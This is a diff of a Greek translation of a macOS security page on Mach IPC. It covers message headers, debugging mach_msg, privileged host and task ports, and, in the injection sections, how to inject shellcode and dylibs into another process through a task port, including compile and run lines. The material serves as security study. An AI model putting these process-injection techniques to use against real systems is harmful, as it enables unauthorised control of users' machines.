Το αρχικό πεδίο **`msgh_bits`** είναι μια bitmap:
- Το πρώτο bit (το πιο σημαντικό) χρησιμοποιείται για να υποδείξει ότι ένα μήνυμα είναι σύνθετο (περισσότερα σχετικά με αυτό παρακάτω)
- Το πρώτο bit (το πιο σημαντικό) χρησιμοποιείται για να υποδείξει ότι ένα μήνυμα είναι σύνθετο (περισσότερα για αυτό παρακάτω)
- Τα 3ο και 4ο χρησιμοποιούνται από τον πυρήνα
- Τα **5 λιγότερο σημαντικά bits του 2ου byte** μπορούν να χρησιμοποιηθούν για **voucher**: ένας άλλος τύπος θύρας για την αποστολή συνδυασμών κλειδιού/τιμής.
- Τα **5 λιγότερο σημαντικά bits του 3ου byte** μπορούν να χρησιμοποιηθούν για **τοπική θύρα**
@ -110,7 +110,7 @@ mach_msg_id_t msgh_id;
```
Για παράδειγμα, `MACH_MSG_TYPE_MAKE_SEND_ONCE` μπορεί να χρησιμοποιηθεί για να **υποδείξει** ότι ένα **send-once** **δικαίωμα** θα πρέπει να παραχθεί και να μεταφερθεί για αυτή την θύρα. Μπορεί επίσης να καθοριστεί `MACH_PORT_NULL` για να αποτραπεί ο παραλήπτης να μπορεί να απαντήσει.
Για να επιτευχθεί μια εύκολη **διπλής κατεύθυνσης επικοινωνία**, μια διαδικασία μπορεί να καθορίσει μια **mach port** στην κεφαλίδα **μήνυματος** που ονομάζεται _reply port_ (**`msgh_local_port`**) όπου ο **παραλήπτης** του μηνύματος μπορεί να **στείλει μια απάντηση** σε αυτό το μήνυμα.
Για να επιτευχθεί μια εύκολη **διπλής κατεύθυνσης επικοινωνία**, μια διαδικασία μπορεί να καθορίσει μια **mach port** στην mach **κεφαλίδα μηνύματος** που ονομάζεται _reply port_ (**`msgh_local_port`**) όπου ο **παραλήπτης** του μηνύματος μπορεί να **στείλει μια απάντηση** σε αυτό το μήνυμα.
> [!TIP]
> Σημειώστε ότι αυτός ο τύπος διπλής κατεύθυνσης επικοινωνίας χρησιμοποιείται σε μηνύματα XPC που αναμένουν μια απάντηση (`xpc_connection_send_message_with_reply` και `xpc_connection_send_message_with_reply_sync`). Αλλά **συνήθως δημιουργούνται διαφορετικές θύρες** όπως εξηγήθηκε προηγουμένως για να δημιουργηθεί η διπλής κατεύθυνσης επικοινωνία.
@ -125,7 +125,7 @@ mach_msg_id_t msgh_id;
> [!CAUTION]
> Σημειώστε ότι **τα mach μηνύματα αποστέλλονται μέσω μιας `mach port`**, η οποία είναι ένα **κανάλι επικοινωνίας με έναν μόνο παραλήπτη**, **πολλούς αποστολείς** που είναι ενσωματωμένο στον πυρήνα mach. **Πολλές διαδικασίες** μπορούν να **στείλουν μηνύματα** σε μια mach port, αλλά σε οποιαδήποτε στιγμή μόνο **μία διαδικασία μπορεί να διαβάσει** από αυτήν.
Τα μηνύματα σχηματίζονται από την κεφαλίδα **`mach_msg_header_t`** ακολουθούμενη από το **σώμα** και από το **trailer** (αν υπάρχει) και μπορεί να παραχωρήσει άδεια για να απαντηθεί. Σε αυτές τις περιπτώσεις, ο πυρήνας χρειάζεται απλώς να περάσει το μήνυμα από μια εργασία στην άλλη.
Τα μηνύματα σχηματίζονται από την **κεφαλίδα `mach_msg_header_t`** που ακολουθείται από το **σώμα** και από το **trailer** (αν υπάρχει) και μπορεί να παραχωρήσει άδεια για να απαντηθεί. Σε αυτές τις περιπτώσεις, ο πυρήνας χρειάζεται απλώς να περάσει το μήνυμα από μια εργασία στην άλλη.
Ένα **trailer** είναι **πληροφορίες που προστίθενται στο μήνυμα από τον πυρήνα** (δεν μπορεί να οριστεί από τον χρήστη) οι οποίες μπορούν να ζητηθούν κατά την παραλαβή του μηνύματος με τις σημαίες `MACH_RCV_TRAILER_<trailer_opt>` (υπάρχουν διαφορετικές πληροφορίες που μπορούν να ζητηθούν).
@ -150,7 +150,7 @@ unsigned int pad3 : 24;
mach_msg_descriptor_type_t type : 8;
} mach_msg_type_descriptor_t;
```
Σε 32bit, όλοι οι περιγραφείς είναι 12B και ο τύπος του περιγραφέα βρίσκεται στον 11ο. Σε 64bit, οι διαστάσεις ποικίλλουν.
Σε 32bit, όλοι οι περιγραφείς είναι 12B και ο τύπος του περιγραφέα βρίσκεται στον 11ο. Σε 64bit, τα μεγέθη ποικίλλουν.
> [!CAUTION]
> Ο πυρήνας θα αντιγράψει τους περιγραφείς από μια εργασία στην άλλη αλλά πρώτα **δημιουργώντας ένα αντίγραφο στη μνήμη του πυρήνα**. Αυτή η τεχνική, γνωστή ως "Feng Shui", έχει καταχραστεί σε πολλές εκμεταλλεύσεις για να κάνει τον **πυρήνα να αντιγράψει δεδομένα στη μνήμη του**, κάνοντάς τον διαδικασία να στείλει περιγραφείς στον εαυτό της. Στη συνέχεια, η διαδικασία μπορεί να λάβει τα μηνύματα (ο πυρήνας θα τα απελευθερώσει).
@ -170,13 +170,13 @@ mach_msg_descriptor_type_t type : 8;
- `mach_port_allocate`: Κατανείμετε μια νέα ΛΗΨΗ, PORT_SET ή DEAD_NAME
- `mach_port_insert_right`: Δημιουργήστε ένα νέο δικαίωμα σε μια θύρα όπου έχετε ΛΗΨΗ
- `mach_port_...`
- **`mach_msg`** | **`mach_msg_overwrite`**: Λειτουργίες που χρησιμοποιούνται για **να στείλουν και να λάβουν mach μηνύματα**. Η έκδοση overwrite επιτρέπει να καθορίσετε ένα διαφορετικό buffer για τη λήψη μηνυμάτων (η άλλη έκδοση θα το επαναχρησιμοποιήσει απλώς).
- **`mach_msg`** | **`mach_msg_overwrite`**: Συναρτήσεις που χρησιμοποιούνται για **να στείλουν και να λάβουν mach μηνύματα**. Η έκδοση overwrite επιτρέπει να καθορίσετε ένα διαφορετικό buffer για τη λήψη μηνυμάτων (η άλλη έκδοση θα το επαναχρησιμοποιήσει απλώς).
### Debug mach_msg
Δεδομένου ότι οι λειτουργίες **`mach_msg`** και **`mach_msg_overwrite`** είναι αυτές που χρησιμοποιούνται για να στείλουν και να λάβουν μηνύματα, η ρύθμιση ενός breakpoint σε αυτές θα επιτρέψει την επιθεώρηση των αποσταλμένων και ληφθέντων μηνυμάτων.
Δεδομένου ότι οι συναρτήσεις **`mach_msg`** και **`mach_msg_overwrite`** είναι αυτές που χρησιμοποιούνται για να στείλουν και να λάβουν μηνύματα, η ρύθμιση ενός breakpoint σε αυτές θα επιτρέψει την επιθεώρηση των αποσταλμένων και ληφθέντων μηνυμάτων.
Για παράδειγμα, ξεκινήστε την αποσφαλμάτωση οποιασδήποτε εφαρμογής μπορείτε να αποσφαλματώσετε καθώς θα φορτώσει **`libSystem.B` που θα χρησιμοποιήσει αυτή τη λειτουργία**.
Για παράδειγμα, ξεκινήστε την αποσφαλμάτωση οποιασδήποτε εφαρμογής μπορείτε να αποσφαλματώσετε καθώς θα φορτώσει **`libSystem.B` που θα χρησιμοποιήσει αυτή τη συνάρτηση**.
<pre class="language-armasm"><code class="lang-armasm"><strong>(lldb) b mach_msg
</strong>Breakpoint 1: where = libsystem_kernel.dylib`mach_msg, address = 0x00000001803f6c20
@ -205,7 +205,7 @@ frame #8: 0x000000018e59e6ac libSystem.B.dylib`libSystem_initializer + 236
frame #9: 0x0000000181a1d5c8 dyld`invocation function for block in dyld4::Loader::findAndRunAllInitializers(dyld4::RuntimeState&) const::$_0::operator()() const + 168
</code></pre>
Για να λάβετε τα επιχειρήματα του **`mach_msg`**, ελέγξτε τους καταχωρητές. Αυτά είναι τα επιχειρήματα (από [mach/message.h](https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/mach/message.h.auto.html)):
Για να λάβετε τα επιχειρήματα της **`mach_msg`**, ελέγξτε τους καταχωρητές. Αυτά είναι τα επιχειρήματα (από [mach/message.h](https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/mach/message.h.auto.html)):
```c
__WATCHOS_PROHIBITED __TVOS_PROHIBITED
extern mach_msg_return_t mach_msg(
@ -217,7 +217,7 @@ mach_port_name_t rcv_name,
mach_msg_timeout_t timeout,
mach_port_name_t notify);
```
Λάβετε τις τιμές από τις μητρώες:
Αποκτήστε τις τιμές από τα μητρώα:
```armasm
reg read $x0 $x1 $x2 $x3 $x4 $x5 $x6
x0 = 0x0000000124e04ce8 ;mach_msg_header_t (*msg)
@ -268,14 +268,14 @@ name ipc-object rights flags boost reqs recv send sonce oref q
[...]
```
Το **όνομα** είναι το προεπιλεγμένο όνομα που δίνεται στην θύρα (ελέγξτε πώς **αυξάνεται** στα πρώτα 3 bytes). Το **`ipc-object`** είναι ο **αποκρυπτογραφημένος** μοναδικός **ταυτοποιητής** της θύρας.\
Σημειώστε επίσης πώς οι θύρες με μόνο **`send`** δικαίωμα **αναγνωρίζουν τον κάτοχό** τους (όνομα θύρας + pid).\
Σημειώστε επίσης πώς οι θύρες με μόνο δικαίωμα **`send`** είναι **ταυτοποιώντας τον κάτοχό** τους (όνομα θύρας + pid).\
Σημειώστε επίσης τη χρήση του **`+`** για να υποδείξετε **άλλες εργασίες που συνδέονται με την ίδια θύρα**.
Είναι επίσης δυνατό να χρησιμοποιήσετε [**procesxp**](https://www.newosxbook.com/tools/procexp.html) για να δείτε επίσης τα **καταχωρημένα ονόματα υπηρεσιών** (με το SIP απενεργοποιημένο λόγω της ανάγκης του `com.apple.system-task-port`):
```
procesp 1 ports
```
Μπορείτε να εγκαταστήσετε αυτό το εργαλείο σε iOS κατεβάζοντάς το από [http://newosxbook.com/tools/binpack64-256.tar.gz](http://newosxbook.com/tools/binpack64-256.tar.gz)
Μπορείτε να εγκαταστήσετε αυτό το εργαλείο σε iOS κατεβάζοντας το από [http://newosxbook.com/tools/binpack64-256.tar.gz](http://newosxbook.com/tools/binpack64-256.tar.gz)
### Παράδειγμα κώδικα
@ -407,34 +407,34 @@ printf("Sent a message\n");
## Προνομιακές Θύρες
Υπάρχουν ορισμένες ειδικές θύρες που επιτρέπουν να **εκτελούνται ορισμένες ευαίσθητες ενέργειες ή να αποκτάται πρόσβαση σε ορισμένα ευαίσθητα δεδομένα** σε περίπτωση που μια εργασία έχει τα δικαιώματα **SEND** πάνω τους. Αυτό καθιστά αυτές τις θύρες πολύ ενδιαφέρουσες από την προοπτική ενός επιτιθέμενου, όχι μόνο λόγω των δυνατοτήτων αλλά και επειδή είναι δυνατό να **μοιραστούν τα δικαιώματα SEND μεταξύ εργασιών**.
Υπάρχουν ορισμένες ειδικές θύρες που επιτρέπουν να **εκτελούνται ορισμένες ευαίσθητες ενέργειες ή να αποκτάται πρόσβαση σε ορισμένα ευαίσθητα δεδομένα** εφόσον μια εργασία έχει τα δικαιώματα **SEND** πάνω τους. Αυτό καθιστά αυτές τις θύρες πολύ ενδιαφέρουσες από την προοπτική ενός επιτιθέμενου, όχι μόνο λόγω των δυνατοτήτων τους αλλά και επειδή είναι δυνατή η **κοινή χρήση δικαιωμάτων SEND μεταξύ εργασιών**.
### Ειδικές Θύρες Φιλοξενίας
### Ειδικές Θύρες Υπολογιστή
Αυτές οι θύρες εκπροσωπούνται από έναν αριθμό.
Τα δικαιώματα **SEND** μπορούν να αποκτηθούν καλώντας **`host_get_special_port`** και τα δικαιώματα **RECEIVE** καλώντας **`host_set_special_port`**. Ωστόσο, και οι δύο κλήσεις απαιτούν την θύρα **`host_priv`** στην οποία μπορεί να έχει πρόσβαση μόνο ο root. Επιπλέον, στο παρελθόν, ο root μπορούσε να καλέσει **`host_set_special_port`** και να καταλάβει αυθαίρετα, κάτι που επέτρεπε, για παράδειγμα, την παράκαμψη υπογραφών κώδικα καταλαμβάνοντας την `HOST_KEXTD_PORT` (το SIP τώρα το αποτρέπει).
Τα δικαιώματα **SEND** μπορούν να αποκτηθούν καλώντας **`host_get_special_port`** και τα δικαιώματα **RECEIVE** καλώντας **`host_set_special_port`**. Ωστόσο, και οι δύο κλήσεις απαιτούν την θύρα **`host_priv`** στην οποία μπορεί να έχει πρόσβαση μόνο ο root. Επιπλέον, στο παρελθόν ο root μπορούσε να καλέσει **`host_set_special_port`** και να καταλάβει αυθαίρετα, κάτι που επέτρεπε, για παράδειγμα, την παράκαμψη υπογραφών κώδικα καταλαμβάνοντας την `HOST_KEXTD_PORT` (το SIP τώρα το αποτρέπει).
Αυτές χωρίζονται σε 2 ομάδες: Οι **πρώτες 7 θύρες ανήκουν στον πυρήνα** και είναι η 1 `HOST_PORT`, η 2 `HOST_PRIV_PORT`, η 3 `HOST_IO_MASTER_PORT` και η 7 είναι `HOST_MAX_SPECIAL_KERNEL_PORT`.\
Αυτές που ξεκινούν **από** τον αριθμό **8** ανήκουν σε **daemon συστήματος** και μπορούν να βρεθούν δηλωμένες στο [**`host_special_ports.h`**](https://opensource.apple.com/source/xnu/xnu-4570.1.46/osfmk/mach/host_special_ports.h.auto.html).
Αυτές που ξεκινούν **από** τον αριθμό **8** ανήκουν σε **daemon του συστήματος** και μπορούν να βρεθούν δηλωμένες στο [**`host_special_ports.h`**](https://opensource.apple.com/source/xnu/xnu-4570.1.46/osfmk/mach/host_special_ports.h.auto.html).
- **Θύρα φιλοξενίας**: Εάν μια διαδικασία έχει **δικαίωμα SEND** πάνω σε αυτή τη θύρα, μπορεί να αποκτήσει **πληροφορίες** σχετικά με το **σύστημα** καλώντας τις ρουτίνες της όπως:
- **Θύρα υπολογιστή**: Εάν μια διαδικασία έχει **δικαίωμα SEND** πάνω σε αυτή τη θύρα, μπορεί να αποκτήσει **πληροφορίες** σχετικά με το **σύστημα** καλώντας τις ρουτίνες της όπως:
- `host_processor_info`: Λάβετε πληροφορίες επεξεργαστή
- `host_info`: Λάβετε πληροφορίες φιλοξενίας
- `host_info`: Λάβετε πληροφορίες υπολογιστή
- `host_virtual_physical_table_info`: Πίνακας εικονικής/φυσικής μνήμης (απαιτεί MACH_VMDEBUG)
- `host_statistics`: Λάβετε στατιστικά στοιχεία φιλοξενίας
- `host_statistics`: Λάβετε στατιστικά στοιχεία υπολογιστή
- `mach_memory_info`: Λάβετε διάταξη μνήμης πυρήνα
- **Θύρα Priv φιλοξενίας**: Μια διαδικασία με δικαίωμα **SEND** πάνω σε αυτή τη θύρα μπορεί να εκτελέσει **προνομιακές ενέργειες** όπως η εμφάνιση δεδομένων εκκίνησης ή η προσπάθεια φόρτωσης μιας επέκτασης πυρήνα. Η **διαδικασία πρέπει να είναι root** για να αποκτήσει αυτή την άδεια.
- **Θύρα Priv**: Μια διαδικασία με δικαίωμα **SEND** πάνω σε αυτή τη θύρα μπορεί να εκτελέσει **προνομιακές ενέργειες** όπως να εμφανίσει δεδομένα εκκίνησης ή να προσπαθήσει να φορτώσει μια επέκταση πυρήνα. Η **διαδικασία πρέπει να είναι root** για να αποκτήσει αυτή την άδεια.
- Επιπλέον, προκειμένου να καλέσει το API **`kext_request`**, απαιτείται να έχει άλλες εξουσιοδοτήσεις **`com.apple.private.kext*`** που δίνονται μόνο σε δυαδικά αρχεία της Apple.
- Άλλες ρουτίνες που μπορούν να κληθούν είναι:
- `host_get_boot_info`: Λάβετε `machine_boot_info()`
- `host_priv_statistics`: Λάβετε προνομιακά στατιστικά στοιχεία
- `host_priv_statistics`: Λάβετε προνομιακά στατιστικά
- `vm_allocate_cpm`: Κατανομή Συνεχούς Φυσικής Μνήμης
- `host_processors`: Δικαιώματα αποστολής στους επεξεργαστές φιλοξενίας
- `host_processors`: Δικαιώματα αποστολής στους επεξεργαστές υπολογιστή
- `mach_vm_wire`: Κάντε τη μνήμη μόνιμη
- Καθώς ο **root** μπορεί να έχει πρόσβαση σε αυτή την άδεια, θα μπορούσε να καλέσει `host_set_[special/exception]_port[s]` για να **καταλάβει τις ειδικές ή εξαιρετικές θύρες φιλοξενίας**.
- Καθώς ο **root** μπορεί να έχει πρόσβαση σε αυτή την άδεια, θα μπορούσε να καλέσει `host_set_[special/exception]_port[s]` για να **καταλάβει ειδικές ή εξαιρετικές θύρες υπολογιστή**.
Είναι δυνατό να **δει κανείς όλες τις ειδικές θύρες φιλοξενίας** εκτελώντας:
Είναι δυνατόν να **δει κανείς όλες τις ειδικές θύρες υπολογιστή** εκτελώντας:
```bash
procexp all ports | grep "HSP"
```
@ -456,8 +456,8 @@ world.*/
- **TASK_KERNEL_PORT**\[task-self send right]: Η θύρα που χρησιμοποιείται για τον έλεγχο αυτής της εργασίας. Χρησιμοποιείται για την αποστολή μηνυμάτων που επηρεάζουν την εργασία. Αυτή είναι η θύρα που επιστρέφεται από **mach_task_self (βλ. Task Ports παρακάτω)**.
- **TASK_BOOTSTRAP_PORT**\[bootstrap send right]: Η θύρα εκκίνησης της εργασίας. Χρησιμοποιείται για την αποστολή μηνυμάτων που ζητούν την επιστροφή άλλων θυρών υπηρεσιών συστήματος.
- **TASK_HOST_NAME_PORT**\[host-self send right]: Η θύρα που χρησιμοποιείται για την αίτηση πληροφοριών σχετικά με τον περιέχοντα υπολογιστή. Αυτή είναι η θύρα που επιστρέφεται από **mach_host_self**.
- **TASK_WIRED_LEDGER_PORT**\[ledger send right]: Η θύρα που ονομάζει την πηγή από την οποία αυτή η εργασία αντλεί τη μνήμη πυρήνα που είναι συνδεδεμένη.
- **TASK_PAGED_LEDGER_PORT**\[ledger send right]: Η θύρα που ονομάζει την πηγή από την οποία αυτή η εργασία αντλεί τη μνήμη που διαχειρίζεται από προεπιλογή.
- **TASK_WIRED_LEDGER_PORT**\[ledger send right]: Η θύρα που ονομάζει την πηγή από την οποία αυτή η εργασία αντλεί τη μνήμη του πυρήνα που είναι συνδεδεμένη.
- **TASK_PAGED_LEDGER_PORT**\[ledger send right]: Η θύρα που ονομάζει την πηγή από την οποία αυτή η εργασία αντλεί τη διαχειριζόμενη μνήμη προεπιλογής της.
### Θύρες Εργασίας
@ -485,17 +485,17 @@ world.*/
Θυμηθείτε ότι επειδή ο **πυρήνας είναι επίσης μια εργασία**, αν κάποιος καταφέρει να αποκτήσει **ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ** πάνω από το **`kernel_task`**, θα είναι σε θέση να κάνει τον πυρήνα να εκτελέσει οτιδήποτε (jailbreaks).
- Καλέστε το `mach_task_self()` για να **λάβετε το όνομα** για αυτή τη θύρα για την εργασία καλούντος. Αυτή η θύρα κληρονομείται μόνο μέσω του **`exec()`**; μια νέα εργασία που δημιουργείται με το `fork()` αποκτά μια νέα θύρα εργασίας (ως ειδική περίπτωση, μια εργασία αποκτά επίσης μια νέα θύρα εργασίας μετά το `exec()` σε ένα εκτελέσιμο αρχείο suid). Ο μόνος τρόπος για να δημιουργήσετε μια εργασία και να αποκτήσετε τη θύρα της είναι να εκτελέσετε τον ["χορό ανταλλαγής θυρών"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html) ενώ κάνετε ένα `fork()`.
- Καλέστε το `mach_task_self()` για να **λάβετε το όνομα** για αυτή τη θύρα για την εργασία καλούντος. Αυτή η θύρα κληρονομείται μόνο μέσω του **`exec()`**; μια νέα εργασία που δημιουργείται με το `fork()` αποκτά μια νέα θύρα εργασίας (ως ειδική περίπτωση, μια εργασία αποκτά επίσης μια νέα θύρα εργασίας μετά το `exec()` σε ένα εκτελέσιμο suid). Ο μόνος τρόπος για να δημιουργήσετε μια εργασία και να αποκτήσετε τη θύρα της είναι να εκτελέσετε τον ["χορό ανταλλαγής θυρών"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html) ενώ κάνετε ένα `fork()`.
- Αυτοί είναι οι περιορισμοί για την πρόσβαση στη θύρα (από το `macos_task_policy` από το εκτελέσιμο `AppleMobileFileIntegrity`):
- Εάν η εφαρμογή έχει **`com.apple.security.get-task-allow` entitlement** διαδικασίες από τον **ίδιο χρήστη μπορούν να αποκτήσουν πρόσβαση στη θύρα εργασίας** (συνήθως προστίθεται από το Xcode για αποσφαλμάτωση). Η διαδικασία **notarization** δεν θα το επιτρέψει σε παραγωγικές εκδόσεις.
- Εφαρμογές με το **`com.apple.system-task-ports`** entitlement μπορούν να αποκτήσουν τη **θύρα εργασίας για οποιαδήποτε** διαδικασία, εκτός από τον πυρήνα. Σε παλαιότερες εκδόσεις ονομαζόταν **`task_for_pid-allow`**. Αυτό χορηγείται μόνο σε εφαρμογές της Apple.
- **Ο Root μπορεί να αποκτήσει πρόσβαση σε θύρες εργασίας** εφαρμογών **όχι** που έχουν μεταγλωττιστεί με **σκληρή** εκτέλεση (και όχι από την Apple).
- Εάν η εφαρμογή έχει **`com.apple.security.get-task-allow` entitlement** οι διαδικασίες από τον **ίδιο χρήστη μπορούν να αποκτήσουν πρόσβαση στη θύρα εργασίας** (συνήθως προστίθεται από το Xcode για αποσφαλμάτωση). Η διαδικασία **notarization** δεν θα το επιτρέψει σε παραγωγικές εκδόσεις.
- Οι εφαρμογές με το **`com.apple.system-task-ports`** entitlement μπορούν να αποκτήσουν τη **θύρα εργασίας για οποιαδήποτε** διαδικασία, εκτός από τον πυρήνα. Σε παλαιότερες εκδόσεις ονομαζόταν **`task_for_pid-allow`**. Αυτό χορηγείται μόνο σε εφαρμογές της Apple.
- **Ο root μπορεί να αποκτήσει πρόσβαση σε θύρες εργασίας** εφαρμογών **που δεν** έχουν μεταγλωττιστεί με μια **σκληρυμένη** εκτέλεση (και όχι από την Apple).
**Η θύρα ονόματος εργασίας:** Μια μη προνομιούχος έκδοση της _θύρας εργασίας_. Αναφέρεται στην εργασία, αλλά δεν επιτρέπει τον έλεγχο της. Το μόνο πράγμα που φαίνεται να είναι διαθέσιμο μέσω αυτής είναι το `task_info()`.
### Θύρες Νημάτων
Τα νήματα έχουν επίσης σχετικές θύρες, οι οποίες είναι ορατές από την εργασία που καλεί το **`task_threads`** και από τον επεξεργαστή με `processor_set_threads`. Ένα ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ στη θύρα νήματος επιτρέπει τη χρήση της συνάρτησης από το υποσύστημα `thread_act`, όπως:
Τα νήματα έχουν επίσης σχετικές θύρες, οι οποίες είναι ορατές από την εργασία που καλεί το **`task_threads`** και από τον επεξεργαστή με το `processor_set_threads`. Ένα ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ στη θύρα νήματος επιτρέπει τη χρήση της συνάρτησης από το υποσύστημα `thread_act`, όπως:
- `thread_terminate`
- `thread_[get/set]_state`
@ -770,18 +770,19 @@ gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
./inject <pi or string>
```
> [!TIP]
> Για να λειτουργήσει αυτό στο iOS, χρειάζεστε την εξουσία `dynamic-codesigning` προκειμένου να μπορείτε να δημιουργήσετε ένα εκτελέσιμο μνήμης που είναι εγγράψιμο.
> Για να λειτουργήσει αυτό στο iOS, χρειάζεστε την εξουσία `dynamic-codesigning` προκειμένου να μπορείτε να κάνετε μια εκτελέσιμη μνήμη που να είναι εγγράψιμη.
### Εισαγωγή Dylib σε νήμα μέσω Task port
Στο macOS, **τα νήματα** μπορεί να χειριστούν μέσω **Mach** ή χρησιμοποιώντας το **posix `pthread` api**. Το νήμα που δημιουργήσαμε στην προηγούμενη εισαγωγή, δημιουργήθηκε χρησιμοποιώντας το Mach api, οπότε **δεν είναι συμβατό με posix**.
Στο macOS, **τα νήματα** μπορεί να χειριστούν μέσω **Mach** ή χρησιμοποιώντας **posix `pthread` api**. Το νήμα που δημιουργήσαμε στην προηγούμενη εισαγωγή, δημιουργήθηκε χρησιμοποιώντας το Mach api, οπότε **δεν είναι συμβατό με posix**.
Ήταν δυνατό να **εισαχθεί ένας απλός κώδικας shell** για να εκτελέσει μια εντολή επειδή **δεν χρειαζόταν να λειτουργεί με apis συμβατά με posix**, μόνο με Mach. **Πιο σύνθετες εισαγωγές** θα χρειάζονταν το **νήμα** να είναι επίσης **συμβατό με posix**.
Επομένως, για να **βελτιωθεί το νήμα**, θα πρέπει να καλέσει **`pthread_create_from_mach_thread`** που θα **δημιουργήσει ένα έγκυρο pthread**. Στη συνέχεια, αυτό το νέο pthread θα μπορούσε να **καλέσει dlopen** για να **φορτώσει ένα dylib** από το σύστημα, έτσι ώστε αντί να γράφει νέο κώδικα shell για να εκτελέσει διάφορες ενέργειες, είναι δυνατό να φορτώσει προσαρμοσμένες βιβλιοθήκες.
Επομένως, για να **βελτιωθεί το νήμα**, θα πρέπει να καλέσει **`pthread_create_from_mach_thread`** που θα **δημιουργήσει ένα έγκυρο pthread**. Στη συνέχεια, αυτό το νέο pthread θα μπορούσε να **καλέσει dlopen** για να **φορτώσει ένα dylib** από το σύστημα, έτσι αντί να γράφει νέο κώδικα shell για να εκτελέσει διάφορες ενέργειες, είναι δυνατό να φορτώσει προσαρμοσμένες βιβλιοθήκες.
Μπορείτε να βρείτε **παραδείγματα dylibs** σε (για παράδειγμα, αυτό που δημιουργεί ένα log και στη συνέχεια μπορείτε να το ακούσετε):
{{#ref}}
../macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md
{{#endref}}
@ -1068,6 +1069,7 @@ gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
Σε αυτή την τεχνική, ένα νήμα της διαδικασίας καταλαμβάνεται:
{{#ref}}
macos-thread-injection-via-task-port.md
{{#endref}}
@ -1078,7 +1080,7 @@ macos-thread-injection-via-task-port.md
## Exception Ports
Όταν συμβαίνει μια εξαίρεση σε ένα νήμα, αυτή η εξαίρεση αποστέλλεται στο καθορισμένο port εξαίρεσης του νήματος. Αν το νήμα δεν την χειριστεί, τότε αποστέλλεται στα ports εξαίρεσης της διαδικασίας. Αν η διαδικασία δεν την χειριστεί, τότε αποστέλλεται στο host port, το οποίο διαχειρίζεται το launchd (όπου θα αναγνωριστεί). Αυτό ονομάζεται τριχοτόμηση εξαιρέσεων.
Όταν συμβαίνει μια εξαίρεση σε ένα νήμα, αυτή η εξαίρεση αποστέλλεται στο καθορισμένο port εξαίρεσης του νήματος. Αν το νήμα δεν την χειριστεί, τότε αποστέλλεται στα ports εξαίρεσης της διαδικασίας. Αν η διαδικασία δεν την χειριστεί, τότε αποστέλλεται στο host port που διαχειρίζεται το launchd (όπου θα αναγνωριστεί). Αυτό ονομάζεται triage εξαίρεσης.
Σημειώστε ότι στο τέλος, συνήθως αν δεν χειριστεί σωστά, η αναφορά θα καταλήξει να διαχειρίζεται από τον δαίμονα ReportCrash. Ωστόσο, είναι δυνατόν ένα άλλο νήμα στην ίδια διαδικασία να διαχειριστεί την εξαίρεση, αυτό είναι που κάνουν τα εργαλεία αναφοράς κρασών όπως το `PLCreashReporter`.
@ -1088,19 +1090,19 @@ macos-thread-injection-via-task-port.md
Οποιοσδήποτε χρήστης μπορεί να έχει πρόσβαση σε πληροφορίες σχετικά με το ρολόι, ωστόσο για να ρυθμίσει την ώρα ή να τροποποιήσει άλλες ρυθμίσεις, πρέπει να είναι root.
Για να αποκτήσει πληροφορίες, είναι δυνατόν να καλέσει συναρτήσεις από το υποσύστημα `clock`, όπως: `clock_get_time`, `clock_get_attributtes` ή `clock_alarm`\
Για να αποκτήσει πληροφορίες, είναι δυνατόν να καλέσει συναρτήσεις από το υποσύστημα `clock` όπως: `clock_get_time`, `clock_get_attributtes` ή `clock_alarm`\
Για να τροποποιήσει τιμές, το υποσύστημα `clock_priv` μπορεί να χρησιμοποιηθεί με συναρτήσεις όπως `clock_set_time` και `clock_set_attributes`
### Processors and Processor Set
Οι διεπαφές API του επεξεργαστή επιτρέπουν τον έλεγχο ενός μόνο λογικού επεξεργαστή καλώντας συναρτήσεις όπως `processor_start`, `processor_exit`, `processor_info`, `processor_get_assignment`...
Οι APIs του επεξεργαστή επιτρέπουν τον έλεγχο ενός μόνο λογικού επεξεργαστή καλώντας συναρτήσεις όπως `processor_start`, `processor_exit`, `processor_info`, `processor_get_assignment`...
Επιπλέον, οι διεπαφές API του **processor set** παρέχουν έναν τρόπο ομαδοποίησης πολλών επεξεργαστών σε μια ομάδα. Είναι δυνατόν να ανακτηθεί το προεπιλεγμένο σύνολο επεξεργαστών καλώντας **`processor_set_default`**.\
Αυτές είναι μερικές ενδιαφέρουσες διεπαφές API για αλληλεπίδραση με το σύνολο επεξεργαστών:
Επιπλέον, οι APIs του **processor set** παρέχουν έναν τρόπο να ομαδοποιηθούν πολλοί επεξεργαστές σε μια ομάδα. Είναι δυνατόν να ανακτηθεί η προεπιλεγμένη ομάδα επεξεργαστών καλώντας **`processor_set_default`**.\
Αυτές είναι μερικές ενδιαφέρουσες APIs για αλληλεπίδραση με την ομάδα επεξεργαστών:
- `processor_set_statistics`
- `processor_set_tasks`: Επιστρέφει έναν πίνακα δικαιωμάτων αποστολής σε όλες τις διαδικασίες μέσα στο σύνολο επεξεργαστών
- `processor_set_threads`: Επιστρέφει έναν πίνακα δικαιωμάτων αποστολής σε όλα τα νήματα μέσα στο σύνολο επεξεργαστών
- `processor_set_tasks`: Επιστρέφει έναν πίνακα δικαιωμάτων αποστολής σε όλες τις διαδικασίες μέσα στην ομάδα επεξεργαστών
- `processor_set_threads`: Επιστρέφει έναν πίνακα δικαιωμάτων αποστολής σε όλα τα νήματα μέσα στην ομάδα επεξεργαστών
- `processor_set_stack_usage`
- `processor_set_info`
@ -1222,6 +1224,7 @@ XPC, which stands for XNU (the kernel used by macOS) inter-Process Communication
For more information about how this **communication work** on how it **could be vulnerable** check:
{{#ref}}
macos-xpc/
{{#endref}}
@ -1234,6 +1237,7 @@ MIC basically **generates the needed code** for server and client to communicate
For more info check:
{{#ref}}
macos-mig-mach-interface-generator.md
{{#endref}}

View File

@ -22,7 +22,7 @@ XPC, που σημαίνει XNU (ο πυρήνας που χρησιμοποι
